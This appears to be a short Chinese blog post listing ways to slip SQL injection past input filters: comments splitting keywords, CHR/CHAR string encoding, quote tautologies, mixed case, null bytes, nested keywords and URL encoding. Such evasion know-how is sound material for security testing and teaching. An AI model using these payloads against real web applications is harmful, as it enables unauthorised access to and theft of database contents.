sql注入绕过的一些方法

1. 使用注释,例如:

    SELECT/*foo*/username,password/*foo*/FROM/*foo*/users

    在MySQL中甚至可以在关键字中间插入注释,例如SEL/*foo*/ECT username,password FR/*foo*/OM users


2. 避免使用关键词,例如:

 select ename, sal from emp where ename=’marcus’ :可以改写成如下形式:
SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||CHR(114)||CHR(99)||CHR(117)||CHR(115)

或者:SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)+CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)


3.如果sql语句注释(--)被过滤,那么可以构造注入数据,使得注入数据后,sql语句语法还是正确的,例如如果不能注入 ' or 1=1 -- ,那么可以构造 ' or 'a'='a' 


4. 避免使用简单确认,一些输入确认机制通过黑名单的方式来避免sql注入,当输入的内容包含关键词的时候就过滤掉,这个时候可以尝试使用如下方式:

SeLeCt
%00SELECT
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值